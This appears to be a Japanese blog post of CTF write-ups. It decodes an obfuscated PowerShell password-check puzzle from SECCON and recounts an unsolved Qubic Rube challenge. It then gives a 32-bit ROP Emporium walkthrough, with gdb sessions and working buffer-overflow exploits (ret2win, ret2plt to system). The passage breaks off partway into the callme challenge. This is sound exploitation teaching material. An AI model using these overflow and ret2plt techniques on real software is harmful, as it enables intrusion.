${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
なんだか凄いことになっていますが,記号プログラミングっぽいとわかります.
見やすいように整理します.
${;} =+$(); ${=} =${;}; ${+} =++${;}; ${@} =++${;}; ${.} =++${;}; ${[} =++${;}; ${]}=++${;}; ${(}=++${;}; ${)}=++${;}; ${&}=++${;}; ${|}=++${;}; ${"} = "["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;} = "".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
最初いくつかの変数を宣言した後,最下行で実行しているっぽいです.末尾のパイプを使った |${;}"|&${;}
辺りで実行してそうなのでこれを削除してから,なにが実行されているのかを見るために Write-Host ${;}
してみます.
PS C:\Users\ywkw1\Work> .\plain.ps1 [CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 iex
(僕はここで,[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 がフラグやんけ!って思ってASCII変換してでてきた SECCON{$ECCON}
という文字列をsubmitして見事に間違えました.)
全て文字に直してみると,以下のようになりました.
$ECCON=Read-Host -Prompt 'Enter the password' If($ECCON -eq 'P0wEr$H311'){ Write-Host 'Good Job!'; Write-Host "SECCON{$ECCON}" }
$ECCONに入力値を流し込んで,それが P0wEr$H311
という文字列と等しければそれをフラグとして出力するようになっています.
ということで,フラグは SECCON{P0wEr$H311}
でした.
取り組んだが解けなかった問題
Qubic Rube (Programming 300)
QRコードが6面に貼られた3x3x3のルービックキューブが出てきて,揃えて出てくるQRコードを読むと次の問題へっていうやつです.これを50回繰り返す必要があります.配色が日本配色でした.QRコードについて調べていた時期があったり,ルービックキューブも趣味でやっているので俺得問題やんけ!ってなって始めたのがきっかけです.
この問題では実際にQubic Rubeを作ってみて解いていたのですが,そもそも作った経緯が,問題が変わってもQRコード自体は変らないと思い込んでいて,なら実際に作ったほうが楽になるんじゃねと思ったのがきっかけです.チームメンバーの一人はステージ3ぐらいまでペイントツールで解いていて問題には気づいていたらしいのですが,お互いの情報共有や会話が上手く噛み合っていなかったのもあって,情報共有大事だなと思いました.
さらに運の悪いことに,6面それぞれの画像がWebサイトのソースコードから入手できることに気づかず,ドット絵を描くツールを使って全部手打ちで書き起こしていました.結果,7時間ほどでQubic Rubeは爆誕したわけです.
以下,製作工程です.ルービックキューブは自宅にあった Dayan ZhanChi 57mm を使いました.
ルービックキューブの大きさに合わせて5.7cmで6面をカラー印刷してきたら,綺麗に切り抜きます.
その後,裏面に両面テープを貼り付けていきます.
綺麗に貼り終わりました.
その後,これを9分割するのですが注意点として真ん中が13マス,両端が10マスになるように切っていきます.
これをキューブに丁寧に貼っていけば完成です.
自分のミスがわかってから,深夜にチーム全体で話し合って解く方針を決めました.流れとしては以下の順です.
- 6面の画像全てをサイトから落としてきて,それぞれを9分割する
- ルービックキューブを解くライブラリを使うために,9分割した画像を色判定して特定の順番で記号に置き換える
- 置き換えた記号をライブラリに流しこんで,解を得る
- 実際のルービックキューブを使って,出てきた解を逆の順番かつ逆の手順で回し,同じ状態にする
- URLがでてきそうな色に特定の順番で番号を振っていき,その後ライブラリから得られた手順を使って元に戻す
- すると,その色の各パーツの配置がわかるので,それを元に9枚の画像を配置し,向きがあっていない場合はそれぞれの画像を回転させてQRコードを得る
1,2,3,6辺りはスクリプト化します.ライブラリはkociembaというアルゴリズムを実装したものを使いました.
ここで,実際に作ったQubic Rubeが,QRコードを動かすイメージがついたり付箋で番号を貼って実際に回して位置を把握したりと,意外と役に立ったので良かったです.
上記の手順で10ステージまではいったのですが,その後ライブラリが上手く動かなくなるということが起きました.どうやら問題のキューブの配色が微妙に変わるということが起きていて,このライブラリは決められた配色でしか動かないようだったので,途中からは以下のサイトで手作業で手順を求めました.
結局,1・2・6は後輩が,3・4・5は僕がやるという連携プレイで解いていました.URLが出てくる色が10ステージ目までは黄色だったのに,そこからはランダムになって苦戦したのですが,URLがでてきそうな色の判別は全て目視で行えるようになって,主にQRコードのデータコード語の部分の配置を見てデータが入って無さそうなやつはURLではない,とか形式情報の下位8bitで判断したりもしていました.
こんな感じ↓で作業してました.
そんなこんなで,ようやく流れに乗れたのが朝の11時とかだったので,そこからどんどん解いていきましたが最終的に37/50ステージ目でタイムアップしてしまいました.
あと2時間あれば絶対解けたはず...
まとめ
本当に楽しかったです.某所に男4人が集まってやっていたのですが,深夜にチーム全体で話し合ったときなどはこれぞチームって感じでした.
来年こそは100位以内に入れるように...
ROP Emporium Writeup(32bit)
はじめに
最近Pwnを始めて,ROP Emporiumというサイトを元に進めてます.少人数でのPwn勉強会でもこれを題材にしていたりします.で,ダラダラと進めてたらようやく32bitのほうが全部終わったのでwriteupを残そうと思います.めっちゃ勉強になるサイトなんですが,writeupをググると英語の記事はあるものの,日本語の記事が見当たらないので,書いておきます.
ROP Emporiumとは?
writeupの前に簡単な説明をしておくと,ROPというテクニックを主に学ぶことができるサイトです.7つの問題があり,それぞれ32bit版と64bit版があるので,計14問です.確かFBで@encry1024さんがリンクを貼っているのを見て存在を知りました.
問題としては脆弱なバイナリとflag.txtが与えられるので,実行ファイルからflag.txtを読み出せたら勝ちっていう感じです.
では,以下32bit版のwriteupです.
※誤りがあれば教えて頂けると有難いです!
ret2win
$ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped $ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > hoge Exiting
適当に長い入力値を与えるとオーバーフローするので,gdbで調べます.(BoFは全ての問題で共通して存在します)
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Starting program: /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/ret2win32/ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------] EAX: 0xffffbd10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") EBX: 0x0 ECX: 0x0 EDX: 0xf7fa687c --> 0x0 ESI: 0xf7fa5000 --> 0x1b1db0 EDI: 0xf7fa5000 --> 0x1b1db0 EBP: 0x41304141 ('AA0A') ESP: 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 EIP: 0x41414641 ('AFAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 0004| 0xffffbd44 --> 0xffffbd60 --> 0x1 0008| 0xffffbd48 --> 0x0 0012| 0xffffbd4c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) 0016| 0xffffbd50 --> 0xf7fa5000 --> 0x1b1db0 0020| 0xffffbd54 --> 0xf7fa5000 --> 0x1b1db0 0024| 0xffffbd58 --> 0x0 0028| 0xffffbd5c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
patto AFAAというのはoffsetを調べる時に使用し, patto EIP
のように使います.
offsetが44とわかったので,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます.
任意のアドレスに遷移させることができる現在の状態を,「EIPを奪った」とかいいます.
次に,実行ファイルの中にどのような関数があるのかを見てみます.
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048659 ret2win 0x08048690 __libc_csu_init 0x080486f0 __libc_csu_fini 0x080486f4 _fini
pwnmeとret2winという関数が気になります.mainとpwnmeとret2winをそれぞれ逆アセンブルして読んでみます.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804857b <+0>: lea ecx,[esp+0x4] 0x0804857f <+4>: and esp,0xfffffff0 0x08048582 <+7>: push DWORD PTR [ecx-0x4] 0x08048585 <+10>: push ebp 0x08048586 <+11>: mov ebp,esp 0x08048588 <+13>: push ecx 0x08048589 <+14>: sub esp,0x4 0x0804858c <+17>: mov eax,ds:0x804a064 0x08048591 <+22>: push 0x0 0x08048593 <+24>: push 0x2 0x08048595 <+26>: push 0x0 0x08048597 <+28>: push eax 0x08048598 <+29>: call 0x8048450 <setvbuf@plt> 0x0804859d <+34>: add esp,0x10 0x080485a0 <+37>: mov eax,ds:0x804a040 0x080485a5 <+42>: push 0x0 0x080485a7 <+44>: push 0x2 0x080485a9 <+46>: push 0x0 0x080485ab <+48>: push eax 0x080485ac <+49>: call 0x8048450 <setvbuf@plt> 0x080485b1 <+54>: add esp,0x10 0x080485b4 <+57>: sub esp,0xc 0x080485b7 <+60>: push 0x8048710 0x080485bc <+65>: call 0x8048420 <puts@plt> 0x080485c1 <+70>: add esp,0x10 0x080485c4 <+73>: sub esp,0xc 0x080485c7 <+76>: push 0x8048728 0x080485cc <+81>: call 0x8048420 <puts@plt> 0x080485d1 <+86>: add esp,0x10 0x080485d4 <+89>: call 0x80485f6 <pwnme> 0x080485d9 <+94>: sub esp,0xc 0x080485dc <+97>: push 0x8048730 0x080485e1 <+102>: call 0x8048420 <puts@plt> 0x080485e6 <+107>: add esp,0x10 0x080485e9 <+110>: mov eax,0x0 0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4] 0x080485f1 <+118>: leave 0x080485f2 <+119>: lea esp,[ecx-0x4] 0x080485f5 <+122>: ret End of assembler dump.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x28 0x080485fc <+6>: sub esp,0x4 0x080485ff <+9>: push 0x20 0x08048601 <+11>: push 0x0 0x08048603 <+13>: lea eax,[ebp-0x28] 0x08048606 <+16>: push eax 0x08048607 <+17>: call 0x8048460 <memset@plt> 0x0804860c <+22>: add esp,0x10 0x0804860f <+25>: sub esp,0xc 0x08048612 <+28>: push 0x804873c 0x08048617 <+33>: call 0x8048420 <puts@plt> 0x0804861c <+38>: add esp,0x10 0x0804861f <+41>: sub esp,0xc 0x08048622 <+44>: push 0x80487bc 0x08048627 <+49>: call 0x8048420 <puts@plt> 0x0804862c <+54>: add esp,0x10 0x0804862f <+57>: sub esp,0xc 0x08048632 <+60>: push 0x8048821 0x08048637 <+65>: call 0x8048400 <printf@plt> 0x0804863c <+70>: add esp,0x10 0x0804863f <+73>: mov eax,ds:0x804a060 0x08048644 <+78>: sub esp,0x4 0x08048647 <+81>: push eax 0x08048648 <+82>: push 0x32 0x0804864a <+84>: lea eax,[ebp-0x28] 0x0804864d <+87>: push eax 0x0804864e <+88>: call 0x8048410 <fgets@plt> 0x08048653 <+93>: add esp,0x10 0x08048656 <+96>: nop 0x08048657 <+97>: leave 0x08048658 <+98>: ret End of assembler dump.
ret2win
gdb-peda$ disas ret2win Dump of assembler code for function ret2win: 0x08048659 <+0>: push ebp 0x0804865a <+1>: mov ebp,esp 0x0804865c <+3>: sub esp,0x8 0x0804865f <+6>: sub esp,0xc 0x08048662 <+9>: push 0x8048824 0x08048667 <+14>: call 0x8048400 <printf@plt> 0x0804866c <+19>: add esp,0x10 0x0804866f <+22>: sub esp,0xc 0x08048672 <+25>: push 0x8048841 0x08048677 <+30>: call 0x8048430 <system@plt> 0x0804867c <+35>: add esp,0x10 0x0804867f <+38>: nop 0x08048680 <+39>: leave 0x08048681 <+40>: ret End of assembler dump.
mainではsetvbufで標準入出力のバッファリングを無効にしたり,putsで何かを出力したり,pwnmeを呼んだりしています.putsで出力しているのは,実行時に表示される説明とかです.
次にpwnmeですが,memsetで何かを初期化したり,putsやprintfで何かを出力して,最終的にfgetsで入力値を受け取っています.
最後にret2winですが,こちらもprintfで何かを出力していますが,重要なのはsystem関数を呼んでいる部分です.引数には何を渡しているのでしょうか?渡しているアドレスに何が格納されているかを調べてみます.
gdb-peda$ x/s 0x8048841 0x8048841: "/bin/cat flag.txt"
どうやらret2winはflag.txtを表示してくれる関数のようです.よって,pwnmeのfgetsでBoFさせ,ret2winに遷移させれば終わりです.
アドレスはリトルエンディアンで書きます.
exploit
$ python -c 'print "A" * 44 + "\x59\x86\x04\x08"' |./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x59\x86\x04\x08"' | zsh: segmentation fault (core dumped) ./ret2win32
split
$ file split32 split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped $ ./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > hoge Exiting
BoFする長さとかは全問題で共通しているので,省略します.(1問目と同様に,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます)
$ gdb split32 Reading symbols from split32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048649 usefulFunction 0x08048670 __libc_csu_init 0x080486d0 __libc_csu_fini 0x080486d4 _fini
今度はusefulFunctionという関数があるので,逆アセンブルしてみます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x08048649 <+0>: push ebp 0x0804864a <+1>: mov ebp,esp 0x0804864c <+3>: sub esp,0x8 0x0804864f <+6>: sub esp,0xc 0x08048652 <+9>: push 0x8048747 0x08048657 <+14>: call 0x8048430 <system@plt> 0x0804865c <+19>: add esp,0x10 0x0804865f <+22>: nop 0x08048660 <+23>: leave 0x08048661 <+24>: ret End of assembler dump.
systemに渡されている引数を調べます.
gdb-peda$ x/s 0x8048747 0x8048747: "/bin/ls"
どうやら,usefulFunctionはlsするだけの関数のようです.どこかにflagをcatしてくれる文字列などが無いかを調べます.
実行ファイル中の文字列をstringsで列挙してみます.
$ strings split32 ...... Contriving a reason to ask user for data... /bin/ls ;*2$"( /bin/cat flag.txt GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 crtstuff.c ......
すると,/bin/cat flag.txtという文字列が見つかります.system関数はsplitの中にあるので, "/bin/cat flag.txt" を引数として渡してあげれば良さそうです.「関数を引数に渡す」という行為はレジスタへ直接値を入れるか,またはスタックを経由して行われる方法の2通りがありますが,今回はスタックを経由して渡していきます.
スタックを経由して引数を渡す場合,通常push命令を使って値をスタックへ積みます.しかし,オーバーフロー時は任意のアドレスへ遷移させた時と同様に,任意の値をスタックへ用意することができるので,スタックの状態をいい感じにします.
通常のスタックの状態
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ local val +-+-+-+-+-+-+-+ saved ebp +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
今回の場合,入力値を保存する先の変数がlocal val辺りにあるはずです.BoFが起こるとsaved ebp(EBPというスタックの底を表すレジスタの値が保存されている場所です)とreturn address(元のルーチンへ戻る為にスタックへ保存しています)が書き換えられ,任意の場所に遷移させることができるわけです.
これを,オーバーフローさせて以下のようにします.
+-+-+-+-+-+-+-+-+ ↑low ......AA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ system@plt(元々のreturn addressをsystem@pltへ) +-+-+-+-+-+-+-+-+ return address(system@pltのreturn先) +-+-+-+-+-+-+-+-+ /bin/cat flag.txtのアドレス +-+-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+-+ ↓ high
こうすると,system@pltがリターン先となり,最終的に/bin/cat flag.txtを引数としてsystem関数が実行されます.これをret2pltと言います.
@pltというのはplt領域という場所を指しています.この領域は遅延リンクという仕組みを実現するためのもので,その後plt領域からgot領域へ飛び,さらにsystem関数本体へと飛ぶ2段構成になっていたりします.got領域が解決されたアドレスを管理するテーブルになっているのですが,ここら辺の話はググって調べたほうがわかりやすいと思うので,割愛します.
最後に,/bin/cat flag.txtが格納されている場所を調べます.
$ gdb split32 gdb-peda$ find /bin/cat Searching for '/bin/cat' in: None ranges Found 1 results, display max 1 items: split32 : 0x804a030 ("/bin/cat flag.txt")
よって,exploitは以下のようになります.(AAAAはsystem@pltから返る先のアドレスで,ダミーなのでなんでもOKです)
exploit
$ python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' |./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' | zsh: segmentation fault (core dumped) ./split32
callme
$ file callme32 callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped $ ./callme32 callme by ROP Emporium 32bits Hope you read the instructions... > hoge Exiting
gdbで見てみます.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048558 _init 0x08048590 printf@plt 0x080485a0 fgets@plt 0x080485b0 callme_three@plt 0x080485c0 callme_one@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 __libc_start_main@plt 0x08048600 setvbuf@plt 0x08048610 memset@plt 0x08048620 callme_two@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487b6 pwnme 0x0804880c usefulFunction 0x08048850 __libc_csu_init 0x080488b0 __libc_csu_fini 0x080488b4 _fini
またusefulFunctionがあります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804880c <+0>: push ebp 0x0804880d <+1>: mov ebp,esp 0x0804880f <+3>: sub esp,0x8 0x08048812 <+6>: sub esp,0x4 0x08048815 <+9>: push 0x6 0x08048817 <+11>: push 0x5 0x08048819 <+13>: push 0x4 0x0804881b <+15>: call 0x80485b0 <callme_three@plt> 0x08048820 <+20>: add esp,0x10 0x08048823 <+23>: sub esp,0x4 0x08048826 <+26>: push 0x6 0x08048828 <+28>: push 0x5 0x0804882a <+30>: push 0x4 0x0804882c <+32>: call 0x8048620 <callme_two@plt> 0x08048831 <+37>: add esp,0x10 0x08048834 <+40>: sub esp,0x4 0x08048837 <+43>: push 0x6 0x08048839 <+45>: push 0x5 0x0804883b <+47>: push 0x4 0x0804883d <+49>: call 0x80485c0 <callme_one@plt> 0x08048842 <+54>: add esp,0x10 0x08048845 <+57>: sub esp,0xc 0x08048848 <+60>: push 0x1 0x0804884a <+62>: call 0x80485e0 <exit@plt> End of assembler dump.
